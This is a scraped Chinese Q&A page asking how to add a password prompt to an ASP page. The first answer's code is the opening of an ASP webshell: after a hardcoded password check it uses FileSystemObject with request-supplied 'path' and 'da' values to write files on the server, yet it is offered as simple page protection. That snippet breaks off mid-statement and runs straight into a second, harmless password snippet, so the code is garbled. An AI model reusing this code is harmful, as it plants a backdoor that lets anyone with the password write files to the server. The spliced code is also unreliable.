网页密码验证

来源:百度知道 编辑:UC知道 时间:2024/07/05 07:21:49
随便一个index.asp或者其他页面.
怎样添加代码,才能达到如下效果.

访问index.asp时就在中间显示个输入密码的.
如果密码不正确.就提示.(可要可不要.)
如果密码正确,就显示完整页面(输入密码的地方自动消失)
[就跟webshell的登陆差不多一样的...]
还是得靠自己,

正解:
<%
on error resume next
%>
<%
if request("pass")="7758885" then '在这修改密码
session("pw")="go"
end if
%>
<%if session("pw")<>"go" then %>
<%="<center><br><form action='' method='post'>"%>
<%="<input name='pass' type='password' size='10'> <input "%><%="type='submit' value='我要进去'></center>"%>
<%else%>
<%
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set

<%pwd="111111" '密码自己设置%>

<%putpwd=request.form("putpwd")
submitpwd=request.form("submitpwd")

if submitpwd="ok" then
if putpwd=pwd then
call hide()
else
response.write("密码错误,无法查看!")
end if
end if
%>

<% if putpwd<>pwd then%>
<div id="subdiv"><form method="POST" action="1.asp">
<input type="text" name="putpwd" size="22">
<input type="submit" name="buttom" value="look"><input type="hidden" value="ok" name="submitpwd">
</form></div>
<%end if%>

<%sub hide()%>
<body title="我就是那个隐藏的内容">
<i><font size="7" color="#800000">我就是那个隐藏的内容</font></i>